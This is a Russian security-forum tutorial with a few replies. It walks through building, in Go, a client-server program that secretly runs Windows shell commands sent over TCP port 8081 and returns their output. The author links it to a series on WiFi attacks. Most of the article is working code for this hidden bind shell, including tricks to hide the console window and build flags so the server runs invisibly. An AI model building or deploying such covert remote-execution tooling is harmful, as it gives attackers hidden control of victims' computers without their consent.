• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Golang - Пишем программу для удалённого управления встроенным интерпретатором

Содержание:
  • Предисловие
  • Подготовка
  • Задача
  • Алгоритм программы
  • Серверная часть
  • Клиентская часть
  • Сервер - Клиент
  • Сервер
  • Клиент
  • Заключение
Предисловие

В процессе очередной статьи из серии статей по фрэймворку Bettercap 2.* и атаки на WiFi сети, написал простенький код на языке Golang(GO) для выполнения команд интерпретатора удалённо. И решил не вставлять этот код в тело статьи, а вынести в отдельный топик со ссылками на созданный репозито́рий, а заодно не много расписать ход составления алгоритма для выполнения подобной задачи и сам код подробней.

Честно признаюсь думал только воткну код в тело статьи и забуду, но недавно созданный топик с вопросом мистера @.Method, а так же ответ мистера @digw33d, подтолкнули на создания некой инструкции для решения подобных вопросов.

Речь пойдёт о примитивном решении вопроса из серии "Как ...". Конкретный вопрос в нашем случае - "Как создать программу которая будет выполнять команды встроенного интерпретатора ОС удалённо ."

Задача

Написать программу которая будет скрыто выполнять команды встроенного интерпретатора ОС, а так же будет получать вывод интерпретатора о выполненной команде и отсылать ответ.
Простейшим решением будет создать программу в стиле "Клиент - Сервер".
"Серверная" часть будет скрыто выполнять команды и отсылать "клиентской" части программы.
Первое что потребуется для решения задачи, это придумать алгоритм для программы, после конечно же подобрать функции которые потребуются для выполнения этой задачи и наконец собрать подобранные функции в программу.

Алгоритм программы

Серверная часть

  1. Установить прослушивание порта.
  2. Открыть порт.
  3. Получить сообщение подключенного клиента.
  4. Обработать полученное сообщение.
  5. Выполнить команду из полученного сообщения.
  6. Получить вывод интерпретатора который будет выполнять эту команду.
  7. Обработать полученный вывод интерпретатора.
  8. Отправить обработанный вывод интерпретатора подключенному клиенту.
Клиентская часть
  1. Подключится к серверной части программы.
  2. Принять команду.
  3. Отправить полученную команду серверной части.
  4. Получить ответ серверной части.
  5. Вывести обработанный ответ.
Клиент - Сервер

Программы типа "Клиент - Сервер" работают по принципу общения двух приложений между собой, при этом оба приложения могут взаимодействовать как с другими программами|приложениями и ОС или только ОС. Серверная часть работает по принципу "Принял сообщение -> обработал полученное сообщение ->если требуется выполнил действия-> отправил ответил.", клиентская часть "Подключился к серверу -> отправил сообщение -> принял и обработал полученный ответ -> вывел ответ.".

Серверная часть программы

Серверная часть программы устанавливает прослушивание на указанном порте, открывает порт и ждет сообщения с командой для выполнения клиентской части программы.Задача серверной части выполнить полученную команду, в этом случае отправить полученную команду встроенному интерпретатору ОС и получить вывод интерпретатора о выполненной команде.Для решения этой задачи в языке Golang(GO) существует пакет , в котором присутствуют необходимые функции для работы с встроенными|предустановленными в ОС программами и приложения.

Интересует только - "Команда exec.Command является объектом, который предоставляет доступ к этому внешнему процессу."

Этот объект и будем использоваться в коде серверной части программы.Рассмотрим пример использования объекта "exec.Command" на примере с встроенным интерпретатором ОС Windows.(На момент написания статьи, работаю в ОС Windows и "удобней" описывать использование в этой "оперативной системе". Но так как Golang кроссплатформенный язык программирования, то работать будет и в других ОС, отличие будет только в командах к самому интерпретатору ОС.)

Для примера обратимся к командной строке с командой "help", которая выведет справку командной строки( ):
C-подобный:
package main

import (
    "fmt"
    "os/exec"
)

func main() {
    out, _ := exec.Command("cmd", "/c ", "help").Output()
    fmt.Println(string(out))
}
Аналогом для Linux будет( ):
C-подобный:
package main

import (
    "fmt"
    "os/exec"
)

func main() {
    out, _ := exec.Command("bash", "-c ", "--help").Output()
    fmt.Println(string(out))
}
Разница только в одной строке, а точнее только в опции и аргументах к одному объекту "exec.Command". Код при выполнении обратится к встроенному интерпретатору с командой "help", результат будет вывод интерпретатора:

1.png


Да вывод печальный и радует глаз непонятными знаками в вперемешку с какими то иероглифами и названиями команд на англ. языке.Вывод других команд будет в таком же формате, виной такому выводу - кодировка.
Решается пакетом "golang.org/x/text/encoding/charmap", для использования потребуется установка:
Код:
go get "golang.org/x/text/encoding/charmap"
Используется из пакета команда "NewDecoder()", с указанием нужного типа charmap, в конкретном случае это "CodePage866".
Полное описание пакета и функций, а так же полный перечень типов .
Используем для декодирования ответа командной строки( ):
C-подобный:
package main

import (
    "fmt"
    "os/exec"
    //Добавляем пакет используемый для декодирования
    "golang.org/x/text/encoding/charmap"
)

func main() {
    out, _ := exec.Command("cmd", "/c ", "help").Output()
    //Инициализируем декодирование с указанным типом CodePage866
    d := charmap.CodePage866.NewDecoder()
    //Обрабатываем вывод
    decode_out, _ := d.Bytes(out)
    //Выводим обработанный ответ
    fmt.Println(string(decode_out))

}
Результат декодирования с подобранной кодировкой :

2.png


Теперь добавим пакет с указанием типа для того что бы при выполнение команд командная строка не всплывала и не выявляла выполнения команд встроенного интерпретатора и завернём в отдельную функцию которая будет использоваться серверной частью:
C-подобный:
package main

import (
    "fmt"
    "os/exec"
    //Добавляем пакет используемый для декодирования
    "golang.org/x/text/encoding/charmap"
    //Добавляем пакет Syscall для указания типа SysProcAttr
    "syscall"
    //Подключаем пакет strings для обработки строк.
    "strings"
)

func main() {
    //Пример использования функции WinShellExe
    command_for_execute := "/c msg * Message for user!"
    Result := WinShellExe(command_for_execute)
    fmt.Print(Result)

}

//Создаём функцию которая будет отдавать команды встроенному интерпретатору ОС на которой будет выполняться.
func WinShellExe(strCommand string) (out string) {
    //Функция будет получать строку в которой будут указанны для встроенного интерпретатора.
    //Так как объект exec.Command ждёт опции к указанной программе в виде массива аргументов, разбиваем полученную строку на массив
    //Используя команду Split из пакета strings для разбивки полученной строки в массив
    argsCommand := strings.Split(strCommand, " ")
    //Так как серверная часть будет на машине с установленной ОС Windows, в качестве внешнего объекта указываем имя исполняемого интерпретатора "cmd"
    cmd := exec.Command("cmd", argsCommand...)
    //Говорим что бы окно консоли не отображалось
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    //Считываем ответ консоли
    stdout, _ := cmd.Output()
    //Инициализируем декодирование с указанным типом CodePage866
    d := charmap.CodePage866.NewDecoder()
    //Обрабатываем вывод
    decode_out, _ := d.Bytes(stdout)
    //Говорим что это строка
    out = string(decode_out)
    //возвращаем полученный результат
    return
}
Проверяем:

3.png


Для того что бы не отображалось окно консоли при запуске скомпилированного исходного кода, компилируем с ключами:
Код:
go build -ldflags "-s -H windowsgui" source.go
На этом этапе функция которая будет отдавать встроенному интерпретатору windows готова. Остаётся написать часть которая будет отвечать за общение между серверной и клиентской частью. Такие программы на языке Go пишутся в два шага, не надо писать тонны кода, всё уже написано, нужно просто взять и использовать.

Будем использовать пакет , конкретно для серверной части программы понадобится только три команды из этого пакета.Это команда , Accept и Write.

Для обработки полученных пакетов будем использовать пакет , а точнее только функцию и функцию .
Напишем серверную часть которая будет открывать и прослушивать указанный порт, принимать сообщение от клиентской части и отправлять это сообщение обратно клиентской части:
C-подобный:
package main

import (
    "bufio"
    "net"
)

func main() {

    // Устанавливаем прослушивание порта
    ln, _ := net.Listen("tcp", ":8081")

    // Открываем порт
    conn, _ := ln.Accept()

    // Запускаем цикл
    for {

        // Распечатываем полученное сообщение
        connbuf := bufio.NewReader(conn)
        //Считываем сообщение до окончание строки
        str, err := connbuf.ReadString('\n')

        //Если есть какие нибудь ошибки выходим
        if err != nil {
            break
        }

        // Отправить полученное сообщение обратно клиенту
        conn.Write([]byte(str))
    }
}
Согласно списку портов, порт 8081 официально не используется ни каким приложением или программой, сервер устанавливает прослушивание на порт 8081 и открывает.

Часть отвечающая за соединение и общение между серверно-клиентской программой готова:

4.png


Теперь соединим часть отвечающею за общение с функцией которая будет отдавать команды встроенному интерпретатору.
Для этого добавим функцию которая будет обрабатывать полученную строку (удалять переносы строки) и соединим в одно приложение:
C-подобный:
package main

import (
    //Добавляем пакет bufio для обработки полученного сообщения
    "bufio"
    //Добавляем пакет net для открытия и прослушивания порта, а также отправки сообщения.
    "net"
    //Добавляем пакет "os/exec" для работы с встроенным интерпретатором
    "os/exec"
    //Добавляем пакет используемый для декодирования
    "golang.org/x/text/encoding/charmap"
    //Добавляем пакет Syscall для указания типа SysProcAttr
    "syscall"
    //Подключаем пакет strings для обработки строк.
    "strings"
)

func main() {

    // Устанавливаем прослушивание порта
    ln, _ := net.Listen("tcp", ":8081")

    // Открываем порт
    conn, _ := ln.Accept()

    // Запускаем цикл
    for {

        // Распечатываем полученое сообщение
        connbuf := bufio.NewReader(conn)

        //Считываем сообщение до окончание строки
        str, err := connbuf.ReadString('\n')

        //Если есть какие нибудь ошибки выходим
        if err != nil {
            break
        }
        //Так как перенос строки приходит вместе с сообщение, удаляем его.
        message := strings.TrimRight(str, "\r\n")

        //Передаём полученное сообщение с командой функции WinShellExe
        Result := WinShellExe(string(message))

        // Отправляем полученный вывод интерпретатора обратно клиенту
        conn.Write([]byte(Result + "<<<<endMessage>>>\n"))
    }
//Закрываем соединение
conn.Close()
}

func WinShellExe(strCommand string) (out string) {
    //Функция будет получать строку в которой будут указанны для встроенного интерпретатора.
    //Так как объект exec.Command ждёт опции к указанной программе в виде массива аргументов, разбиваем полученную строку на массив
    //Используя команду Split из пакета strings для разбивки полученной строки в массив
    argsCommand := strings.Split(strCommand, " ")
    //Так как серверная часть будет находится на машине с установленной ОС Windows, в качестве внешнего объекта указываем имя исполняемого интерпретатора "cmd"
    cmd := exec.Command("cmd", argsCommand...)
    //Говорим что бы окно консоли не отображалось
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    //Считываем ответ консоли
    stdout, _ := cmd.Output()
    //Инициализируем декодирование с указанным типом CodePage866
    d := charmap.CodePage866.NewDecoder()
    //Обрабатываем вывод
    decodeOut, _ := d.Bytes(stdout)
    //Говорим что это строка
    out = string(decodeOut)
    //возвращаем полученный результат
    return
}
Серверная часть полностью готова к работе!
Для того что бы скомпилированная серверная часть не открывала окно консоли при запуски, необходимо компилировать с следующими ключами:
Код:
go build -ldflags "-s -H windowsgui" source.go
5.png


Клиентская часть программы

С клиентской частью на много проще, а в случае с языком Go, этот кода будет содержать минимум строк.
Будут использоваться те же пакеты что и в серверной части, за исключением пакета "os/exec", тут будет использоваться пакет "os", а так же не будут использоваться пакеты "syscall" и "golang.org/x/text/encoding/charmap".
Для подключения к серверной части используется функция , которая подключается на указанный порт указанного ip адреса.
C-подобный:
package main

import (
    "bufio"
    "fmt"
    "net"
    "os"
    "strings"
)

func main() {
    // Подключаемся к сокету
    conn, _ := net.Dial("tcp", "127.0.0.1:8081")
    for {
        // Чтение входных данных от stdin
        reader := bufio.NewReader(os.Stdin)
        fmt.Print("Text to send: ")
        text, _ := reader.ReadString('\n')
        // Отправляем в socket
        fmt.Fprintf(conn, "/c "+text+"\n")
        //распечатываем полученный ответ
        connbuf := bufio.NewReader(conn)
        //Запускаем цикл для того что бы прочитать весь ответ
        for {
            //Считываем до знака переноса строки
            str, _ := connbuf.ReadString('\n')
            //До того как обнаружим конец сообщения
            if strings.Index(str, "<<<endMessage>>") > 0 {
                break
            }
            //выводим построчно
            fmt.Print(str)
        }
    }
//Закрываем соединение
conn.Close()
}
Исходник расписан построчно, алгоритм работы клиента описан выше, даже не приходит в голову что ещё можно описать о клиентской части, разве что на 13 строке (conn, _ := net.Dial("tcp", "127.0.0.1:8081")) в случае использования на удалённой машине нужно указать необходимый ip адрес, заменив "127.0.0.1" на необходимый.

Заключение

Написать программу для решения конкретной задачи, проще когда есть конкретная задача. Конечно знания языка программирования необходимы, но эти знания только облегчают решение поставленной задачи.В большинстве случаев достаточно поверхностных знаний, понимания синтаксиса используемого языка и желания решить эту задачу. А для остального есть сеть интернет, там есть дядька Google, а так же множество форумов и целое мировое сообщество в котором найдутся "добрые люди" которые дадут необходимую подсказку для решения поставленной задачи.

Ссылка на репозиторий с исходным кодом программы здесь, исходный код код и созданные в ходе написания статьи бинарники .

P.S. Прежде всего эта статья только пример реализации идеи, не более.
P.s.S. В репозитории код обновлён.
 
Последнее редактирование:

centr

Green Team
31.01.2017
408
475
BIT
0
Нет, не было такой потребности.
-------------------
Понял в чём был не прав, исправил.
Скидка невнимательности на ранее утро и жуткое чувство недосыпа вперемешку "красно-глазИем"
 
Последнее редактирование:
A

Aequor

Доброго времени суток. Хотел бы спросить правильно ли все написано в этой строке.

conn.Write([]byte(Result + "<<<<endMessage>>>\n"))

Заранее прошу меня воспринимать как начинающего новичка который мало что понимает в языке. Благодарю за ответ.
 

centr

Green Team
31.01.2017
408
475
BIT
0
Функция write() пишет строку в байтах на соединение conn, <<<endmes.... нужно для того что бы клиент смог правильно принять и обработать многострочный ответ.
В репозитории подправил код, на win работает, на Linux надо не много подправить, но уже вторую неделю в Китае и как назло нет пк рядом, а в салонах особо не разгуляешься, там с установкой необходимого по возникают трудности.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!